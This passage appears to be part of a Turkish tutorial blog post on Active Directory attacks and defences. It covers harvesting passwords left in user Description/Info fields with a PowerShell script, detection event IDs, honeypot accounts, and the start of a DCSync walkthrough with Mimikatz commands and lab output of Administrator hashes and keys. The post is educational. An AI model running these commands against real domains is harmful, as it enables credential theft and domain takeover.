&lt;li&gt;Çalışanın ofis konumu ve telefon numarası&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Yöneticiler hesap oluştururken bu özellikleri doldurur. Geçmişte yaygın bir uygulama, kullanıcının (veya servis hesabının) parolasını &lt;strong&gt;Description&lt;/strong&gt; (Açıklama) veya &lt;strong&gt;Info&lt;/strong&gt; (Bilgi) alanlarına yazmaktı, yöneticiler bunları görmek için AD'de yönetici yetkisi gerektiğini &lt;strong&gt;yanlışlıkla düşünüyordu.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;İşte kritik gerçek:&lt;/strong&gt; Domain'deki &lt;strong&gt;her&lt;/strong&gt; kullanıcı, bir nesnenin çoğu özelliğini (Description ve Info dahil) &lt;strong&gt;okuyabilir.&lt;/strong&gt; Bu, AD'nin tasarımsal bir özelliğidir, kısıtlamak birçok uygulamayı bozar. Yani bir yönetici "Description" alanına "pass: mvp123" yazdığında, bunu domain'deki &lt;strong&gt;herkes&lt;/strong&gt; görebilir.&lt;/p&gt;




&lt;h4&gt;
  
  
  Saldırı (Attack)
&lt;/h4&gt;

&lt;p&gt;Basit bir PowerShell betiği ile tüm domain taranarak, Description veya Info alanlarında belirli anahtar kelimeler aranır. Doküman burada tam çalışan bir fonksiyon sunuyor:&lt;/p&gt;

&lt;p&gt;powershell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="kr"&gt;Function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;SearchUserClearTextInformation&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;Param&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Parameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Mandatory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$Terms&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;

        &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Parameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Mandatory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;$false&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$Domain&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;IsNullOrEmpty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$Domain&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$dc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-ADDomain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;RIDMaster&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$dc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-ADDomain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$Domain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;RIDMaster&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nv"&gt;$list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@()&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="kr"&gt;foreach&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$Terms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"(&lt;/span&gt;&lt;span class="se"&gt;`$&lt;/span&gt;&lt;span class="s2"&gt;_.Description -like &lt;/span&gt;&lt;span class="se"&gt;`"&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="nv"&gt;$t&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;`"&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"(&lt;/span&gt;&lt;span class="se"&gt;`$&lt;/span&gt;&lt;span class="s2"&gt;_.Info -like &lt;/span&gt;&lt;span class="se"&gt;`"&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="nv"&gt;$t&lt;/span&gt;&lt;span class="s2"&gt;*&lt;/span&gt;&lt;span class="se"&gt;`"&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="n"&gt;Get-ADUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$dc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Properties&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;Enabled&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;Description&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;PasswordNeverExpires&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;PasswordLastSet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Invoke-Expression&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-join&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;' -OR '&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SamAccountName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;Enabled&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;Description&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;PasswordNeverExpires&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;PasswordLastSet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;fl&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Bu betiğin yaptığı şey adım adım:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;$Terms&lt;/code&gt; parametresiyle aranacak anahtar kelimeleri alır (örn: "pass")&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$Domain&lt;/code&gt; belirtilmezse mevcut domain'in RID Master DC'sini otomatik bulur&lt;/li&gt;
&lt;li&gt;Her arama terimi için hem &lt;code&gt;Description&lt;/code&gt; hem &lt;code&gt;Info&lt;/code&gt; alanında eşleşme arar&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Get-ADUser -Filter *&lt;/code&gt; ile domain'deki &lt;strong&gt;tüm&lt;/strong&gt; kullanıcıları çeker&lt;/li&gt;
&lt;li&gt;Eşleşenleri, ilgili bilgileriyle birlikte (hesap adı, aktif mi, açıklama, parola yaşı vb.) listeler&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Çalıştırıldığında:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;powershell:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcngtg8va620votz67529.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcngtg8va620votz67529.png" alt=" " width="634" height="206"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mdr&lt;/code&gt; kullanıcısının Description alanında parola açık metin olarak duruyor: &lt;strong&gt;mvp123&lt;/strong&gt;. Ayrıca &lt;code&gt;PasswordNeverExpires: True&lt;/code&gt;, yani bu parola hiç sona ermeyecek şekilde ayarlanmış, muhtemelen yıllardan beri aynı.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ek görsel detay (sayfa 48):&lt;/strong&gt; Active Directory Users and Computers (ADUC) ekran görüntüsünde, &lt;code&gt;mdr&lt;/code&gt; kullanıcısının özellikler penceresinde Description alanında "pass: mvp123" yazısı açıkça görülüyor , yani bu bilgiyi sadece PowerShell ile değil, ADUC GUI'sinden de herkes görebilir.&lt;/p&gt;




&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;Bu saldırıyı/yanlış yapılandırmayı önlemek için birden fazla seçenek var:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1) Sürekli değerlendirme (continuous assessment):&lt;/strong&gt; Nesne özelliklerinde saklanan kimlik bilgilerini tespit etmek için düzenli taramalar yapın. Yukarıdaki PowerShell betiğinin aynısı savunma amaçlı da kullanılabilir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) Eğitim:&lt;/strong&gt; Yüksek yetkili çalışanları (yöneticileri), nesne özelliklerine kimlik bilgisi saklamamaları konusunda eğitin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3) Otomasyon:&lt;/strong&gt; Kullanıcı oluşturma sürecini mümkün olduğunca otomatikleştirin — böylece yöneticiler hesapları manuel olarak oluşturmaz ve Description alanına parola yazma riski ortadan kalkar. HR sistemleri ile entegre otomatik kullanıcı oluşturma, bu sorunu kökünden çözer.&lt;/p&gt;




&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;Kullanıcı davranış analizi (User Behavior Baselining) yine en iyi tespit tekniğidir. Normal kullanıcı hesapları için bu biraz zor olabilir, ama &lt;strong&gt;yönetici/servis hesapları&lt;/strong&gt; için davranışı anlamak ve baz çizgisi (baseline) oluşturmak daha kolaydır. Otomatik kullanıcı davranış izleme araçları (UEBA — User and Entity Behavior Analytics), anormal girişleri tespit etmede artan başarı göstermektedir.&lt;/p&gt;

&lt;p&gt;Yukarıdaki saldırıda bulunan kimlik bilgilerinin güncel olduğunu varsayarsak, saldırgan bu parolayı kullandığında şu event'ler beklenir:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4624&lt;/strong&gt; — Başarılı oturum açma&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4625&lt;/strong&gt; — Başarısız oturum açma&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4768&lt;/strong&gt; — Kerberos TGT istendi&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Lab ortamında, &lt;code&gt;mdr&lt;/code&gt; hesabıyla giriş yapıldığında Event ID 4768 üretiliyor — detaylarda &lt;code&gt;Account Name: mdr&lt;/code&gt;, &lt;code&gt;Client Address&lt;/code&gt; (isteğin geldiği IP) ve şifreleme türü görünüyor. Kullanıcıyı kaynak adresle korelasyonlamak, anormal aktiviteyi tespit etmenin anahtarı.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Önemli bir kısıtlama:&lt;/strong&gt; Bir kullanıcı nesnesi değiştirildiğinde üretilen &lt;strong&gt;Event ID 4738&lt;/strong&gt;, değiştirilen &lt;strong&gt;spesifik özelliği göstermez&lt;/strong&gt; ve özelliklerin yeni değerlerini de içermez. Bu yüzden, yöneticilerin nesne özelliklerine kimlik bilgisi ekleyip eklemediğini bu event üzerinden tespit etmek &lt;strong&gt;mümkün değildir.&lt;/strong&gt; Bu, önleme ve eğitimin neden bu kadar kritik olduğunu vurgulayan önemli bir kısıtlama.&lt;/p&gt;




&lt;h4&gt;
  
  
  Honeypot (Tuzak Hesap)
&lt;/h4&gt;

&lt;p&gt;Nesne özelliklerinde kimlik bilgisi saklama, &lt;strong&gt;özellikle olgunluk seviyesi düşük ortamlar için mükemmel bir honeypot tekniğidir.&lt;/strong&gt; Mantık şu: eğer bir organizasyon temel siber hijyen konusunda zorlanıyorsa, AD ortamında bu tür sorunların (nesne özelliklerinde kimlik bilgisi) bulunması &lt;strong&gt;zaten beklenir/inandırıcıdır&lt;/strong&gt; — bu da tuzağı daha gerçekçi yapar.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Honeypot kullanıcı kurulum kriterleri:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Parola/kimlik bilgisi &lt;code&gt;Description&lt;/code&gt; alanına yazılmalı&lt;/strong&gt; — çünkü bu alan, herhangi bir saldırganın en kolay fark edeceği yerdir (Info alanı daha az kontrol edilir).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sağlanan parola sahte/yanlış olmalı&lt;/strong&gt; — saldırgan deneyince başarısız olacak ve alarm tetiklenecek.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hesap aktif (enabled) olmalı ve yakın zamanda giriş kayıtları bulunmalı&lt;/strong&gt; — devre dışı veya hiç kullanılmamış bir hesap şüphe çeker.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Normal kullanıcı veya servis hesabı kullanılabilir, ama servis hesabı daha inandırıcıdır.&lt;/strong&gt; Neden? Yöneticiler genellikle servis hesaplarını &lt;strong&gt;manuel&lt;/strong&gt; oluşturur ve bu süreçte Description alanına parola yazmaya meyillidir. Buna karşılık, çalışan hesapları genellikle &lt;strong&gt;otomatik HR sistemleri&lt;/strong&gt; tarafından oluşturulur (ve çalışan muhtemelen parolasını zaten değiştirmiştir).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Son parola değişikliği 2+ yıl önce olmalı&lt;/strong&gt; — bu, parolanın hâlâ geçerli olduğuna dair inandırıcılık sağlar. Saldırgan "2 yıldır değiştirilmemiş parola, muhtemelen hâlâ çalışıyor" diye düşünür.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Beklenen alarm event'leri:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Parola yanlış olduğu için çoğunlukla &lt;strong&gt;başarısız&lt;/strong&gt; giriş denemeleri beklenir. Lab ortamında saldırgan &lt;code&gt;svc-iis&lt;/code&gt; hesabıyla yanlış parolayla giriş denediğinde üç event üretiliyor:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4625&lt;/strong&gt; — Başarısız oturum açma. Detaylarda: &lt;code&gt;Account Name: svc-iis&lt;/code&gt;, &lt;code&gt;Failure Reason: Unknown user name or bad password&lt;/code&gt;, &lt;code&gt;Status: 0xC000006D&lt;/code&gt;, &lt;code&gt;Sub Status: 0xC000006A&lt;/code&gt; (yanlış parola), &lt;code&gt;Source Network Address: 172.16.18.20&lt;/code&gt; (saldırganın/ele geçirilmiş makinenin IP'si).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4771&lt;/strong&gt; — Kerberos ön kimlik doğrulaması başarısız. Detaylarda: &lt;code&gt;Account Name: svc-iis&lt;/code&gt;, &lt;code&gt;Client Address: ::ffff:172.16.18.4&lt;/code&gt;, &lt;code&gt;Failure Code: 0x18&lt;/code&gt; (yanlış parola), &lt;code&gt;Pre-Authentication Type: 2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4776&lt;/strong&gt; — Bilgisayar kimlik bilgilerini doğrulamaya çalıştı. Detaylarda: &lt;code&gt;Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0&lt;/code&gt;, &lt;code&gt;Logon Account: svc-iis&lt;/code&gt;, &lt;code&gt;Error Code: 0xC000006A&lt;/code&gt; (yanlış parola).&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  Bu Bölümün 7. Bölümle (Credentials in Shares) Karşılaştırması
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Kriter                | Bölüm 7: Shares                                     | Bölüm 8: Object Properties                            |
|-----------------------|------------------------------------------------------|--------------------------------------------------------|
| Kimlik bilgisi nerede | Ağ paylaşımındaki dosyalarda (.bat, .ps1, .ini vb.)  | AD nesne özelliklerinde (Description, Info alanları)   |
| Kim görebilir         | Paylaşıma erişimi olan herkes                        | Domain'deki HER kullanıcı (AD tasarımsal özelliği)     |
| Arama aracı           | findstr, SauronEye                                   | PowerShell (Get-ADUser + Description/Info filtresi)    |
| Neden oluşur          | Yönetici betiklere parola yazar                      | Yönetici hesap oluştururken Description'a parola yazar |
| Önleme zorluğu        | Paylaşım izinleri sıkılaştırılabilir                 | Eğitim + otomasyon gerekir, teknik engel zor           |
| Event 4738 ile tespit | Uygulanamaz (dosya tabanlı)                          | Yetersiz — değiştirilen özelliği göstermez             |
| Honeypot stratejisi   | Yanlış parolalı servis hesabı + dosyada sahte parola | Yanlış parolalı servis hesabı + Description'da sahte   |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;strong&gt;Bu bölümün büyük resmi:&lt;/strong&gt; 7. ve 8. bölümler birbirinin ikiz kardeşi — her ikisi de &lt;strong&gt;insan hatası kaynaklı kimlik bilgisi sızıntısı.&lt;/strong&gt; Fark sadece "nerede saklıyor": biri dosyalarda, diğeri AD nesne özelliklerinde. Savunma açısından en önemli çıkarım: &lt;strong&gt;Event ID 4738'in spesifik özellik değişikliğini göstermemesi&lt;/strong&gt; — bu, tespiti önlemeye göre çok daha zor yapıyor ve neden eğitim + otomasyonun kritik olduğunu vurguluyor.&lt;/p&gt;

&lt;h3&gt;
  
  
  BÖLÜM 9: DCSync
&lt;/h3&gt;




&lt;h4&gt;
  
  
  Açıklama (Description)
&lt;/h4&gt;

&lt;p&gt;DCSync, bir saldırganın kendisini &lt;strong&gt;Domain Controller gibi göstererek&lt;/strong&gt; (impersonate ederek), hedef bir Domain Controller ile &lt;strong&gt;replikasyon&lt;/strong&gt; (eşleme) yapmasını ve bu sayede Active Directory'den &lt;strong&gt;parola hash'lerini çekmesini&lt;/strong&gt; sağlayan bir saldırıdır.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Replikasyon nedir?&lt;/strong&gt; Birden fazla DC'nin olduğu ortamlarda, DC'ler birbirleriyle sürekli veri paylaşır — bir DC'de parola değişirse, diğerleri de bunu öğrenmeli. Bu normal bir AD operasyonudur. DCSync, tam olarak bu meşru süreci kötüye kullanır.&lt;/p&gt;

&lt;p&gt;Saldırı hem bir &lt;strong&gt;kullanıcı hesabından&lt;/strong&gt; hem de bir &lt;strong&gt;bilgisayar hesabından&lt;/strong&gt; gerçekleştirilebilir — tek koşul, hesabın şu iki izne sahip olmasıdır:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Replicating Directory Changes&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Replicating Directory Changes All&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bu iki izin birlikte, bir hesaba "DC gibi replikasyon yapma" yetkisi verir. Normalde sadece DC'ler bu izinlere sahiptir — ama yanlış yapılandırma veya saldırganın önceki bir aşamada bu izinleri devretmesi sonucu başka hesaplarda da bulunabilir.&lt;/p&gt;




&lt;h4&gt;
  
  
  Saldırı (Attack)
&lt;/h4&gt;

&lt;p&gt;ortamında &lt;strong&gt;Kaan&lt;/strong&gt; kullanıcısı kullanılıyor (parolası &lt;code&gt;MDR123&lt;/code&gt;). Kaan'nin izinleri kontrol edildiğinde, &lt;code&gt;krysthal.local&lt;/code&gt; domain nesnesi üzerinde &lt;strong&gt;Replicating Directory Changes&lt;/strong&gt; ve &lt;strong&gt;Replicating Directory Changes All&lt;/strong&gt; yetkilerinin &lt;strong&gt;Allow&lt;/strong&gt; (İzin Ver) olarak işaretlendiği görülüyor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Adım 1 — Kaan olarak yeni bir komut satırı başlatma:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Users\sss\Downloads&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;runas /user:krysthal&lt;span class="se"&gt;\k&lt;/span&gt;aan cmd.exe
&lt;span class="go"&gt;Enter the password for krysthal\kaan:
Attempting to start cmd.exe as user "krysthal\kaan" ...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bu komut çalıştırıldığında, görev çubuğunda yeni bir Command Prompt penceresi açılıyor — başta &lt;code&gt;cmd.exe (running as krysthal\kaan)&lt;/code&gt; yazıyor. Bu, artık tüm komutların Kaan'nin yetkileriyle çalışacağı anlamına gelir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Adım 2 — Mimikatz ile DCSync saldırısını gerçekleştirme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yeşil olarak açılan yeni komut satırında Mimikatz çalıştırılıyor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Mimikatz&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;mimikatz.exe
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;mimikatz #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lsadump::dcsync /domain:kaan.krysthal /user:Administrator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;lsadump::dcsync&lt;/code&gt; → Mimikatz'ın DCSync modülü&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/domain:krysthal.local&lt;/code&gt; → hedef domain&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/user:Administrator&lt;/code&gt; → hash'ini çekmek istediğimiz kullanıcı&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Çıktı — Hesap Bilgileri ve NTLM Hash:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[DC] 'krysthal.local' will be the domain
[DC] 'DC2.krysthal.local' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **
SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Password last change : 07/08/2026 11.24.13
Object Security ID   : S-1-5-21-1518138621-4282902758-752445584-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: fcdc65703dd2b0bd789977f1f3eeaecf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Çıktı — Ek Kriptografik Anahtarlar:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : WIN-FM93RI8QOKQAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac (4096) : 1c4197df604e4da0ac46164b30e431405d23128fb37514595555cca76583cfd3
      aes128_hmac (4096) : 4667ae9266d48c01956ab9c869e4370f
      des_cbc_md5 (4096) : d9b53b1f6d7c45a8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Ne elde ettik?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;NTLM hash:&lt;/strong&gt; &lt;code&gt;fcdc65703dd2b0bd789977f1f3eeaecf&lt;/code&gt; — Administrator hesabının parola hash'i. Parolayı bilmeden bile bu hash ile &lt;strong&gt;Pass-the-Hash&lt;/strong&gt; yaparak herhangi bir DC'ye doğrudan kimlik doğrulaması yapılabilir.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AES-256 anahtarı:&lt;/strong&gt; Kerberos biletleri oluşturmak için kullanılabilir (Golden Ticket saldırısında işe yarar).&lt;/li&gt;
&lt;li&gt;
